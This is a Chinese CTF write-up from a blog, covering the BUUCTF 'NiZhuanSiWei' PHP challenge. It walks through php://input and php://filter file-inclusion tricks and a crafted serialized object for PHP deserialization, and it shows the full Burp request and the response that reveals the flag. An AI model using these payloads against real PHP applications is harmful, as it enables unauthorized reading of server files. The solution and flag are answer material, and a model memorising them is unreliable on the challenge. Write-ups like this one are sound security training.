

BUUCTF-NiZhuanSiWei

原创

八哥不爱做题 于 2021-11-08 20:02:38 发布 840 收藏

分类专栏: [BUUCTF-wp](#) 文章标签: [网络安全](#)

版权声明: 本文为博主原创文章, 遵循[CC 4.0 BY-SA](#)版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/m0_47571887/article/details/121214597

版权



专栏
BUUCTF

[BUUCTF-wp 专栏收录该内容](#)

11 篇文章 0 订阅

订阅专栏

打开题目

```
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1><br>";
    if(preg_match("/flag/", $file)){
        echo "Not now!";
        exit();
    }else{
        include($file); //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>
```

CSDN @八哥不爱做题

第一个if是让我们提交text值, text不为空, 并且file_open_concents的返回值

为'welcome to the zjctf', 但这text是个变量, 这里就需要用到php://input协议, 以POST方式提交'welcome to the zjctf'。

第二个if是过滤了flag, 如果检测flag, 则返回"Not now", 这里还发现了一个文件包含。

先将useless.php拖拽下来。

```
?text=php://input&file=php://filter/read=convert.base64-encod/resource=useless.php
```

用bp拦截，并提交'welcome to the zjctf'

```
PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAglAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX19  
Ob3N0cmLuZygpeyAgCiAgICAgICAgaWYoaNzZXQoJHRoaXMtPmZpbGUpKXsglAogICAgICAgICBIY2hvIGZpbGVfZ2V0X2NvbnRI  
bnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAglGVjaG8gljxicj4iOwogICAgICAgIHJldHVibiAollUgUiBTyBDTE9TRSAhLy8vQ09NRS  
BPTiBQTfotKtsKICAgICAgICB9ICAKICAgIH0glAp9ICAKPz4glAo=
```

编码 (Encode) 解码 (Decode) $\uparrow \downarrow$ 交换 (编码快捷键: **Ctrl + Enter**) 编/解码后自动全选

Base64 编码或解码的结果:

```
<?php  
  
class Flag{ //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file);  
        }  
    }  
}  
  
$a=new Flag();  
$a->file='flag.php';  
echo serialize($a);  
?>
```

CSDN @八哥不爱做题

拿到源码后解码，构造序列化

```
文件(F) 编辑(E) 帮助(H) 直接(V) 帮助(M)  
<?php  
  
class Flag{ //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file);  
            echo "<br>";  
            return ("U R SO CLOSE !///COME ON PLZ");  
        }  
    }  
}  
  
$a=new Flag();  
$a->file='flag.php';  
echo serialize($a);  
?>
```

CSDN @八哥不爱做题

访问此php文件即可得到

```
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
```

CSDN @八哥不爱做题

我们用\$file提交password值获取flag

Request

Raw Params Headers Hex

```
GET /?text=php://input&file=useless.php&password=0:4:%22Flag%22:1:{s:4;%22file%22;s:8;%22flag.php%22;} HTTP/1.1
Host: 1a9aef16-695e-45d1-8e1f-2384ad7e3d43.node4.buuoj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Cookie: UM_distinctid=17b819bead15fd-0cceceaa218e3fb-4c3e247b-1fa400-17b819bead2920
Upgrade-Insecure-Requests: 1
Content-Length: 20

welcome to the zjctf
```

Response

Raw Headers Hex

```
HTTP/1.1 200 OK
Server: openresty
Date: Mon, 08 Nov 2021 11:40:30 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Vary: Accept-Encoding
X-Powered-By: PHP/5.6.40
Content-Length: 215

<br><h1>welcome to the zjctf</h1></br>
<br>oh u find it </br>

<i--but i cant give it to u now-->

<?php

if(2==3){
    return ("flag{b0eb0067-3b4b-4565-a76b-a5af8e0c9328}");
}

?>
<br>U R SO CLOSE !!!COME ON PLZ
```

CSDN @八哥不爱做题